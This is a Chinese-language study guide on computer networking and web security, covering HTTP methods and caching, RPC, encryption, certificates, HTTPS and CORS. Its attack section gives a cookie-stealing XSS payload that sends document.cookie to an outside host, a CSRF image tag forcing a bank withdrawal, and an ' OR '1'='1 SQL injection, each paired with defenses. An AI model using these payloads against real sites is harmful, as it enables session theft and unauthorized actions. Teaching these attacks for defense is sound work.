  • 非对称加密:密钥成对出现(且根据公钥无法推知私钥,根据私钥也无法推知公钥),加密解密使用不同密钥(公钥加密需要私钥解密,私钥加密需要公钥解密),相对对称加密速度较慢,典型的非对称加密算法有RSA、DSA等。

HTTP包含了哪些方法

客户端发送的请求报文的第一行为请求行,包含了方法字段

GET

获取资源

当前网络请求中,绝大部分使用的是GET方法

POST

传输实体主体

POST主要用来传输数据,而GET主要用来获取数据

PUT

上传文件

由于自身不带验证机制,任何人都可以上传文件,因此存在安全性问题,一般不使用该方法

PUT /new.html HTTP/1.1
Host: example.com
Content-type: text/html
Content-length: 16

<p>New File</p>

DELETE

删除文件

与PUT功能相反,并且同样不带验证机制

获取报文首部

和GET方法类似,但是不返回报文实体主体部分,主要用于确认URL的有效性以及资源更新的日期时间等

PATCH

对资源进行部分更新

PUT 也可以用于修改资源,但是只能完全替代原始资源,PATCH 允许部分修改。

PATCH /file.txt HTTP/1.1
Host: www.example.com
Content-Type: application/example
If-Match: "e0023aa4e"
Content-Length: 100

[description of changes]

OPTIONS

查询支持的方法

查询指定的URL能够支持的方法,会返回Allow: GET,POST,HEAD,OPTIONS这样的内容

CONNECT

要求在与代理服务器通信时建立通信隧道

使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。

CONNECT www.example.com:443 HTTP/1.1

TRACE

追踪路径

服务器会将通信路径返回给客户端。发送请求时,在Max-Forwards首部字段中填入数值,每经过一个服务器就会减 1,当数值为 0 时就停止传输。通常不会使用 TRACE,并且它容易受到XST攻击(Cross-Site Tracing,跨站追踪)。

HTTP 缓存

Cache-Control

HTTP/1.1 可以通过 Cache-Control 首部字段来控制缓存。

禁止进行缓存:

  • no-store 指令规定不能对请求或响应的任何一部分进行缓存。
Cache-Control: no-store

强制确认缓存:

  • no-cache 指令规定缓存服务器需要先向源服务器验证缓存资源的有效性,只有当缓存资源有效时才能使用该缓存对客户端的请求进行响应。
Cache-Control: no-cache

私有缓存和公共缓存:

  • private 指令规定了将资源作为私有缓存,只能被单独用户使用,一般存储在用户浏览器中。
Cache-Control: private
  • public 指令规定了将资源作为公共缓存,可以被多个用户使用,一般存储在代理服务器中。
Cache-Control: public

缓存过期机制:

  • max-age 指令出现在请求报文,并且缓存资源的缓存时间小于该指令指定的时间,那么就能接受该缓存。
  • max-age 指令出现在响应报文,表示缓存资源在缓存服务器中保存的时间。
Cache-Control: max-age=31536000

Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。

Expires: Wed, 04 Jul 2012 08:26:05 GMT

在 HTTP/1.1 中,会优先处理 max-age 指令;
在 HTTP/1.0 中,max-age 指令会被忽略掉。

缓存验证

需要先了解 ETag 首部字段的含义,它是资源的唯一标识。URL 不能唯一表示资源,例如 http://www.google.com/ 有中文和英文两个资源,只有 ETag 才能对这两个资源进行唯一标识。

ETag: "82e22293907ce725faf67773957acd12"

可以将缓存资源的 ETag 值放入 If-None-Match 首部,服务器收到该请求后,判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致,如果一致则表示缓存资源有效,否则返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"
  • Last-Modified 首部字段也可以用于缓存验证,它包含在源服务器发送的响应报文中,指示源服务器对资源的最后修改时间。但是它是一种弱校验器,因为只能精确到一秒,所以它通常作为 ETag 的备用方案。如果响应首部字段里含有这个信息,客户端可以在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间之后对内容进行过修改的情况下才会将资源返回,状态码为 200 OK。如果请求的资源从那时起未经修改,那么返回一个不带有实体主体的 304 Not Modified 响应报文。
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT

网络攻击手段有哪些?

跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。

攻击原理

例如有一个论坛网站,攻击者可以在上面发布以下内容:

<script>location.href="//domain.com/?c=" + document.cookie</script>

之后该内容可能会被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

危害

  • 窃取用户的 Cookie
  • 伪造虚假的输入表单骗取个人信息
  • 显示伪造的文章或者图片

防范手段

  1. 设置 Cookie 为 HttpOnly: 设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。
  2. 过滤特殊字符: 例如将 < 转义为 &lt;,将 > 转义为 &gt;,从而避免 HTML 和 Jascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码,就不能简单地将 < 等字符进行过滤了,极大地提高了 XSS 攻击的可能性。

富文本编辑器通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。

以下例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1>

<p>123</p>

<form>
  <input type="text" name="q" value="test">
</form>

<pre>hello</pre>

<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>

<p>123</p>

&lt;form&gt;
  &lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;

<pre>hello</pre>

&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

跨站请求伪造

跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。

XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。

攻击原理:

假如一家银行用以执行转账操作的 URL 地址如下: http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码:

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">

如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。

这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。

通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。

防范手段

1. 检查 Referer 首部字段

Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。

这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。

2. 添加校验 Token

在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。

3. 输入验证码

因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。

SQL 注入攻击

服务器上的数据库运行非法的 SQL 语句,主要通过拼接来完成。

攻击原理

例如一个网站登录验证的 SQL 查询代码为:

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

如果填入以下内容:

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";

那么 SQL 查询字符串为:

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

此时无需验证通过就能执行以下查询:

strSQL = "SELECT * FROM users;"

防范手段

1. 使用参数化查询

Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

2. 单引号转换

将传入的参数中的单引号转换为连续两个单引号,PHP 中的 Magic quote 可以完成这个功能。

拒绝服务攻击

拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。

分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。

HTTP和RPC区别?(服务之间的调用为啥不直接用 HTTP 而用 RPC?)

RPC(Remote Procedure Call)—远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。比如两个不同的服务 A、B 部署在两台不同的机器上,那么服务 A 如果想要调用服务 B 中的某个方法该怎么办呢?使用 HTTP请求当然可以,但是可能会比较慢而且一些优化做的并不好。 RPC 的出现就是为了解决这个问题。

RPC 原理

RPC原理

  1. 服务消费方(client)调用以本地调用方式调用服务;
  2. client stub接收到调用后负责将方法、参数等组装成能够进行网络传输的消息体;
  3. client stub找到服务地址,并将消息发送到服务端;
  4. server stub收到消息后进行解码;
  5. server stub根据解码结果调用本地的服务;
  6. 本地服务执行并将结果返回给server stub;
  7. server stub将返回结果打包成消息并发送至消费方;
  8. client stub接收到消息,并进行解码;
  9. 服务消费方得到最终结果。

RPC时序图

RPC主要解决的问题:让分布式或者微服务系统中不同服务之间的调用像本地调用一样简单。

RPC 只是一种概念、一种设计,就是为了解决不同服务之间的调用问题,它一般会包含有传输协议序列化协议这两个。

实现 RPC 的传输协议可以直接建立在 TCP 之上,也可以建立在 HTTP 协议之上。大部分 RPC 框架都是使用的 TCP 连接(gRPC使用了HTTP2)。

通常谈计算机网络的五层协议的体系结构是指:应用层、传输层、网络层、数据链路层、物理层。
应用层(application-layer)的任务是通过应用进程间的交互来完成特定网络应用。HTTP 属于应用层协议,它会基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。HTTP协议工作于客户端-服务端架构为上。浏览器作为HTTP客户端通过 URL 向HTTP服务端即 WEB 服务器发送所有请求。Web 服务器根据接收到的请求后,向客户端发送响应信息。HTTP协议建立在 TCP 协议之上。
运输层(transport layer)的主要任务就是负责向两台主机进程之间的通信提供通用的数据传输服务。TCP是传输层协议,主要解决数据如何在网络中传输。相比于UDP,TCP 提供的是面向连接的,可靠的数据传输服务。

RPC 和 HTTP 主要关键区别就在 HTTP 使用的 TCP 协议,和 RPC 自定义的 TCP 协议在报文上的区别

http1.1协议的 TCP 报文包含太多在传输过程中可能无用的信息:

HTTP/1.0 200 OK 
Content-Type: text/plain
Content-Length: 137582
Expires: Thu, 05 Dec 1997 16:00:00 GMT
Last-Modified: Wed, 5 August 1996 15:55:28 GMT
Server: Apache 0.84

<html>
  <body>Hello World</body>
</html>

使用自定义 TCP 协议进行传输就会避免上面这个问题,极大地减轻了传输数据的开销。 这也就是为什么通常会采用自定义 TCP 协议的 RPC 来进行进行服务调用的真正原因。除此之外,成熟的 RPC 框架还提供好了“服务自动注册与发现”、“智能负载均衡”、“可视化的服务治理和运维”、“运行期流量调度”等等功能,这些也算是选择 RPC 进行服务注册和发现的一方面原因。

对称加密与非对称加密

对称加密和非对称加密

对称加密:A与 B 之间之间的通讯数据都用同一套的密钥来进行加密解密。

优点:

  • 简单快捷,密钥较短,且破译困难。

缺点:

  • 如果用户一旦多的话,管理密钥也是一种困难。不方便直接沟通的两个用户之间怎么确定密钥也需要考虑,这其中就会有密钥泄露的风险,以及存在更换密钥的需求。

对称加密通常有 DES,IDEA,3DES 加密算法。

非对称加密:用公钥和私钥来加解密的算法。打个比方,A 的公钥加密过的东西只能通过 A 的私钥来解密;同理,A 的私钥加密过的东西只能通过 A 的公钥来解密。顾名思义,公钥是公开的,别人可以获取的到;私钥是私有的,只能自己拥有。

缺点:

  • 加解密比对称加密耗时.

优点:

  • 比对称加密安全.

但是非对称加密也是存在漏洞,因为公钥是公开的,如果有 C 冒充 B 的身份利用 A 的公钥给 A 发消息,这样就乱套了,所以接下来就采用非对称加密+摘要算法+数字签名的机制来确保传输安全。

常见的非对称加密算法有:RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)

Hash算法(摘要算法)

Hash 算法的特点是单向不可还原,用户可以通过 hash 算法对目标信息生成一段特定长度的唯一 hash 值,却不能通过这个 hash 值重新获得目标信息。因此 Hash 算法常用在不可还原的密码存储、信息完整性校验等。只要源数据不同,算法得到的摘要必定不同。

常见的 Hash 算法有 MD2、MD4、MD5、HAVAL、SHA

数字签名

数字签名用来,保证信息传输的完整性、发送者的身份认证、防止交易中的抵赖发生。
数字签名是 A 将原始明文通过 hash 算法得到摘要,这个摘要是不可逆的;将明文加密,连同摘要加密后一起发送给 B;B 接收到后解密,得到这个摘要 a 和加密的明文,再将加密明文解密得到原始明文,然后通过同一 hash 算法得到新的摘要 b,比较 a 与 b 就可得知在传输过程中是否被更改过。

因此数字签名能够验证信息的完整性。如果中途数据被纂改或者丢失。那么对方就可以根据数字签名来辨别是否是来自对方的第一手信息数据。

完整的非对称加密过程

假如现在你向支付宝转账(术语数据信息),为了保证信息传送的保密性、真实性、完整性和不可否认性,需要对传送的信息进行数字加密和签名,其传送过程为:

  1. 首先你要确认是否是支付宝的数字证书,如果确认为支付宝身份后,则对方真实可信。可以向对方传送信息,
  2. 你准备好要传送的数字信息(明文)计算要转的多少钱,对方支付宝账号等;
  3. 你对数字信息进行哈希运算,得到一个信息摘要(客户端主要职责);
  4. 你用自己的私钥对信息摘要进行加密得到你的数字签名,并将其附在数字信息上;
  5. 你随机产生一个加密密钥,并用此密码对要发送的信息进行加密(密文);
  6. 你用支付宝的公钥对刚才随机产生的加密密钥进行加密,将加密后的 DES 密钥连同密文一起传送给支付宝;
  7. 支付宝收到你传送来的密文和加密过的 DES 密钥,先用自己的私钥对加密的 DES 密钥进行解密,得到你随机产生的加密密钥;
  8. 支付宝然后用随机密钥对收到的密文进行解密,得到明文的数字信息,然后将随机密钥抛弃;
  9. 支付宝用你的公钥对你的的数字签名进行解密,得到信息摘要;
  10. 支付宝用相同的哈希算法对收到的明文再进行一次哈希运算,得到一个新的信息摘要;
  11. 支付宝将收到的信息摘要和新产生的信息摘要进行比较,如果一致,说明收到的信息没有被修改过。
  12. 确定收到信息,然后进行向对方进行付款交易,一次非对称密过程结束。在这后面的流程就不属于本次非对称加密的范畴,算支付宝个人的自我流程,也就是循环以上过程。

公密钥与证书的关系

使用例子

假设现在小 A 有两把钥匙,一把是公钥,另一把是私钥。

小 A 把公钥送给他的朋友:小B、小C、小D,每人一把。

现在小 B 要给小 A 写一封保密的信。他写完后用鲍勃的公钥加密,就可以达到保密的效果。

收信后,小 A 用私钥解密,就看到了信件内容。这里要强调的是,只要小 A 的私钥不泄露,这封信就是安全的,即使落在别人手里,也无法解密。

小 A 给小 B 回信,决定采用”数字签名”。他写完后先用 Hash 函数,生成信件的摘要(digest)。然后,小 A 使用私钥,对这个摘要加密,生成”数字签名”(signature)。

之后小 A 将这个签名,附在信件下面,一起发给小 B。

小 B 收信后,取下数字签名,用小 A 的公钥解密,得到信件的摘要。由此证明,这封信确实是小 A 发出的。

小 B 再对信件本身使用 Hash 函数,将得到的结果,与上一步得到的摘要进行对比。如果两者一致,就证明这封信未被修改过。

这时候出现了如下的情况:小 C 想欺骗小 B,他偷偷使用了小 B 的电脑,用自己的公钥换走了小 A 的公钥。此时,小 B 实际拥有的是小 C 的公钥,但是还以为这是小 A 的公钥。因此,小 C 就可以冒充小 A,用自己的私钥做成”数字签名”,写信给小 B,让小 B 用假的小 A 公钥进行解密。

后来,小 B 感觉不对劲,发现自己无法确定公钥是否真的属于小 A。他想到了一个办法,要求小 A 去找”证书中心”(certificate authority,简称CA),为公钥做认证。证书中心用自己的私钥,对小 A 的公钥和一些相关信息一起加密,生成**”数字证书”**(Digital Certificate)。

小 A 拿到数字证书以后,就可以放心了。以后再给小 B 写信,只要在签名的同时,再附上数字证书就行了。

小 B 收信后,用 CA 的公钥解开数字证书,就可以拿到小 A 真实的公钥了,然后就能证明”数字签名”是否真的是小 A 签的。

也就是说,证书是用来证明公钥拥有者身份的凭证

证书

数字证书一般由数字证书认证机构签发,需要

  • 申请者通过非对称加密算法(RSA) 生成一对公钥密钥,然后把需要的申请信息(国家,域名等)连同公钥发送给证书认证机构(CA)
  • CA 构确认无误后通过消息摘要算法(MD5,SHA) 生成整个申请信息的摘要签名 M, 然后把签名 M 和使用的摘要算法CA 自己的私钥进行加密

证书包含了

  • 公钥
  • 证书拥有者身份信息
  • 数字证书认证机构(发行者)信息
  • 发行者对这份文件的数字签名及使用的算法
  • 有效期

证书的格式和验证方法普遍遵循 X.509 国际标准。

证书认证机构(CA)

数字证书认证机构(英语:Certificate Authority,缩写为CA),也称为电子商务认证中心、电子商务认证授权机构,是负责发放和管理数字证书的权威机构,并作为电子商务交易中受信任的第三方,承担公钥体系中公钥的合法性检验的责任。

其实任何个体/组织都可以成为CA(自签证书),但是你发布的证书客户端是不信任的,也是就前文提及的需要权威。比如 Symantec、Comodo、Godaddy、Digicert

客户端信任这些 CA,就会在其本地保持这些 CA 的 根证书root certificate),根证书是 CA 自己的证书,是证书验证链的开头。根证书没有机构(已经是权威了)再为其做数字签名,所以都是自签证书。

有些 CA 会通过中介证书(intermediate-certificate)替代根证书的去做服务器端的证书签名,确保根证书密钥绝对不可访问。

Godaddy 给出了解释:

中级证书相当于是我们的根证书的替身。我们之所以使用中级证书,是因为我们必须在根证书上建立许多安全层,从而确保根证书的密钥绝对不会被任何人访问。

不过,由于根证书自身签署了中级证书,因此中级证书就可以用于签署我们的客户安装的 SSL 并维持“信任链”。

安装中级证书
当您的 SSL 证书获得颁发后,您会收到一封包含链接的电子邮件,通过该链接可以下载经过签名的证书和我们的中级证书。

证书信任链

上面说过,在向CA 申请证书时是需要 CA 的私钥去对整个证书的签名摘要做非对称加密的,也就是证书是可以通过 CA 的公钥 去解密得到证书的签名摘要的。

当我们再次用相同的摘要算法(证书里面有保存所使用的算法)对整个证书做签名,如果得到的签名和证书上的签名是一致的,说明这个证书是可信任的。

同理,中介证书也是可以被这样的方式证明其可信任。这样的一整个流程称为 信任链(Chain of trust)。

就是我绝对相信你(A>B);你绝对相信他(B>C);等于我绝对相信他(A>C)

以下是整个流程:

  1. 客户端得到服务端返回的证书,通过读取得到 服务端证书的发布机构(Issuer)
  2. 客户端去操作系统查找这个发布机构的的证书,如果是不是根证书就继续递归下去 直到拿到根证书
  3. 根证书的公钥解密验证 上一层证书的合法性,再拿上一层证书的公钥去验证更上层证书的合法性;递归回溯。
  4. 最后验证服务器端的证书是 可信任 的。

HTTPS 流程

首先是客户端(通常是浏览器)先向服务器发出加密通信的请求,请求包括了以下信息:

  • 支持的协议版本,比如TLS 1.0版。
  • 一个客户端生成的随机数 random1,稍后用于生成”对话密钥”。
  • 支持的加密方法,比如RSA公钥加密。
  • 支持的压缩方法。

服务器收到请求后进行响应。响应流程如下:

  • 确认使用的加密通信协议版本,比如TLS 1.0版本。如果浏览器与服务器支持的版本不一致,服务器关闭加密通信。
  • 发送一个服务器生成的随机数random2,稍后用于生成”对话密钥”。
  • 确认使用的加密方法,比如 RSA 公钥加密。
  • 发送服务器证书。

客户端收到证书之后会首先会进行验证,验证流程:

  1. 我们知道 CA 机构在签发证书的时候,都会使用自己的私钥对证书进行签名
  2. 证书里的签名算法字段(例如: sha256RSA) 表示,CA 机构使用 sha256 对证书进行摘要,然后使用 RSA 算法对摘要进行私钥签名,而我们也知道 RSA 算法中,使用私钥签名之后,只有公钥才能进行验签。
  3. 客户端(浏览器)的”证书管理器”,有”受信任的根证书颁发机构”列表。客户端会根据这张列表,查看解开数字证书的公钥是否在列表之内。如果我们使用的是购买的证书,那么很有可能,颁发这个证书的 CA 机构的公钥已经预置在操作系统中。这样浏览器就可以使用 CA 机构的公钥对服务器的证书进行验签。确定这个证书是不是由正规的 CA 机构颁发的。验签之后得到 CA 机构使用 sha256 得到的证书摘要,然后客户端再使用 sha256 对证书内容进行一次摘要,如果得到的值和验签之后得到的摘要值相同,则表示证书没有被修改过。
  4. 如果验证通过,就会显示安全字样,如果服务器购买的证书是更高级的 EV 类型,就会显示出购买证书的时候提供的企业名称。如果没有验证通过,就会显示不安全的提示。

传输层安全性协定 TLS(Transport Layer Security),及其前身安全套接层 SSL(Secure Sockets Layer)是一种安全协议,目的是为网际网路通信,提供安全及数据完整性保障。

再然后客户端会生成随机数:

验证通过之后,客户端会生成一个随机数 pre-master secret,然后使用证书中的公钥进行加密,然后传递给服务器端

PreMaster secret

PreMaster Secret 是在客户端使用 RSA 或者 Diffie-Hellman 等加密算法生成的。它将用来跟服务端和客户端在第一阶段产生的随机数结合在一起生成 Master Secret。在客户端使用服务端的公钥对PreMaster Secret 进行加密之后传送给服务端,服务端将使用私钥进行解密得到 PreMaster secret。也就是说服务端和客户端都有一份相同的 PreMaster secret 和随机数。
PreMaster secret 前两个字节是 TLS 的版本号,这是一个比较重要的用来核对握手数据的版本号,因为在第一阶段,客户端会发送一份加密套件列表和当前支持的 SSL/TLS 的版本号给服务端,而且是使用明文传送的,如果握手的数据包被破解之后,攻击者很有可能串改数据包,选择一个安全性较低的加密套件和版本给服务端,从而对数据进行破解。所以,服务端需要对密文中解密出来对的 PreMaster 版本号跟之前第一阶段的版本号进行对比,如果版本号变低,则说明被串改,则立即停止发送任何消息。

再接下来就是生成密钥的过程,服务器收到使用公钥加密的内容,在服务器端使用私钥解密之后获得随机数pre-master secret,然后根据 radom1、radom2、pre-master secret 通过一定的算法得出 session Key 和 MAC 算法秘钥,作为后面交互过程中使用对称秘钥。

同时客户端也会使用 radom1、radom2、pre-master secret,和同样的算法生成 session Key 和 MAC 算法的秘钥。

生成 session Key 的过程中会用到 PRF(Pseudorandom Function 伪随机方法)来生成一个 key_block,然后再使用 key_block,生成后面使用的秘钥。

PRF是在规范中约定的伪随机函数

key_block = PRF(SecurityParameters.master_secret,"key expansion",SecurityParameters.server_random + SecurityParameters.client_random);

在信息交互过程中用到的秘钥有6个分别如下,客户端和服务器端分别使用相同的算法生成。

秘钥名称 秘钥作用
client_write_MAC_key[SecurityParameters.mac_key_length] 客户端发送数据使用的摘要MAC算法
server_write_MAC_key[SecurityParameters.mac_key_length] 服务端发送数据使用摘要MAC算法
client_write_key[SecurityParameters.enc_key_length] 客户端数据加密,服务端解密
server_write_key[SecurityParameters.enc_key_length] 服务端加密,客户端解密
client_write_IV[SecurityParameters.fixed_iv_length] 初始化向量,运用于分组对称加密
server_write_IV[SecurityParameters.fixed_iv_length] 初始化向量,运用于分组对称加密

然后在后续的交互中就使用 session Key 和 MAC 算法的秘钥对传输的内容进行加密和解密。

具体的步骤是先使用 MAC 秘钥对内容进行摘要,然后把摘要放在内容的后面使用 sessionKey 再进行加密。对于客户端发送的数据,服务器端收到之后,需要先使用 client_write_key 进行解密,然后使用 client_write_MAC_key 对数据完整性进行验证。服务器端发送的数据,客户端会使用 server_write_keyserver_write_MAC_key 进行相同的操作。

跨域问题

CORS 全称 Cross-Origin Resource Sharing,意为跨域资源共享。当一个资源去访问另一个不同域名或者同域名不同端口的资源时,就会发出跨域请求。如果此时另一个资源不允许其进行跨域资源访问,那么访问的那个资源就会遇到跨域问题。

跨域问题出现的原因

之所以会出现跨域问题,是因为浏览器采用的同源策略。

同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。

如果两个页面的协议、端口(如果有指定)和主机都相同,则两个页面具有相同的源。也可以把它称为协议/主机/端口 tuple,或简单地叫做 “tuple”. (“tuple” ,“元”,是指一些事物组合在一起形成一个整体,比如(1,2)叫二元,(1,2,3)叫三元)。

它的核心就在于它认为自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。

同源策略又分为以下两种:

  • DOM 同源策略:禁止对不同源页面 DOM 进行操作(HTML的标签元素就是DOM的元素节点,它提供了一份文档的结构)。这里主要场景是 iframe 跨域的情况,不同域名的 iframe 是限制互相访问的(iframe 标签规定一个内联框架,一个内联框架被用来在当前 HTML 文档中嵌入另一个文档)。
  • XMLHttpRequest 同源策略:禁止使用 XHR 对象向不同源的服务器地址发起 HTTP 请求。

同源策略控制了不同源之间的交互,例如在使用 XMLHttpRequest<img> 标签时则会受到同源策略的约束。这些交互通常分为三类:

  • 通常允许跨域写操作(Cross-origin writes)。例如链接(links),重定向以及表单提交。特定少数的HTTP请求需要添加 preflight。
  • 通常允许跨域资源嵌入(Cross-origin embedding)。
  • 通常不允许跨域读操作(Cross-origin reads)。但常可以通过内嵌资源来巧妙的进行读取访问。例如可以通过读取嵌入图片的高度和宽度,调用内嵌脚本等方法。

为什么使用同源政策

如果没有 DOM 同源策略,也就是说不同域的 iframe 之间可以相互访问,那么黑客可以这样进行攻击:

做一个假网站,里面用 iframe 嵌套一个银行网站 http://mybank.com

iframe 宽高啥的调整到页面全部,这样用户进来除了域名,别的部分和银行的网站没有任何差别。
这时如果用户输入账号密码,我们的主网站可以跨域访问到 http://mybank.comdom 节点,就可以拿到用户的账户密码了。

如果没有 XMLHttpRequest 同源策略,那么黑客可以进行 CSRF(跨站请求伪造) 攻击:

用户登录了自己的银行页面 http://mybank.comhttp://mybank.com 向用户的 cookie 中添加用户标识。

用户浏览了恶意页面 http://evil.com,执行了页面中的恶意 AJAX 请求代码。

http://evil.comhttp://mybank.com 发起 AJAX HTTP 请求,请求会默认把 http://mybank.com 对应 cookie 也同时发送过去。

银行页面从发送的 cookie 中提取用户标识,验证用户无误,response 中返回请求数据。此时数据就泄露了。

而且由于 Ajax 在后台执行,用户无法感知这一过程。

因此,有了浏览器同源策略,才能更安全的上网。

同源策略确实能规避一些危险,不是说有了同源策略就安全,只是说同源策略是一种浏览器最基本的安全机制,毕竟能提高一点攻击的成本。其实没有刺不穿的盾,只是攻击的成本和攻击成功后获得的利益成不成正比。

跨域解决方法

CORS 跨域资源共享

CORS(Cross-origin resource sharing,跨域资源共享)是一个 W3C 标准,定义了在必须访问跨域资源时,浏览器与服务器应该如何沟通。CORS 背后基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。
只要同时满足以下两大条件,就属于简单请求。

请求方法是以下三种方法之一:

HEAD
GET
POST

HTTP的头信息不超出以下几种字段:

Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain

凡是不同时满足上面两个条件,就属于非简单请求。

浏览器对这两种请求的处理,是不一样的。

简单请求

对于简单请求,浏览器直接发出 CORS 请求。具体来说,就是在头信息之中,增加一个 Origin 字段(Origin 字段用来说明,本次请求来自哪个源 协议 + 域名 + 端口。服务器根据这个值,决定是否同意这次请求)。

如果 Origin 指定的源,不在许可范围内,服务器会返回一个正常的 HTTP 回应。浏览器发现,这个回应的头信息没有包含 Access-Control-Allow-Origin 字段(详见下文),就知道出错了,从而抛出一个错误,被 XMLHttpRequestonerror 回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。

如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的头信息之中,有三个与 CORS 请求相关的字段,都以 Access-Control- 开头。

  • Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时 Origin 字段的值,要么是一个 *,表示接受任意域名的请求。
  • Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。设为 true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器,同时 ajax 请求需要设置 xhr 的属性 withCredentials 为 true,否则,即使服务器同意发送 Cookie,浏览器也不会发送。这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可。
  • Access-Control-Expose-Headers:该字段可选。CORS 请求时,XMLHttpRequest 对象的getResponseHeader() 方法只能拿到6个基本字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers 里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回 FooBar 字段的值。

非简单请求

浏览器在发送真正的请求之前,会先发送一个预检请求给服务器,浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些 HTTP 动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的 XMLHttpRequest请求,否则就报错。这种请求使用 OPTIONS 方法,发送下列头部:

  • Origin:与简单的请求相同。
  • Access-Control-Request-Method: 该字段是必须的,用来列出浏览器的 CORS 请求会用到哪些HTTP方法。
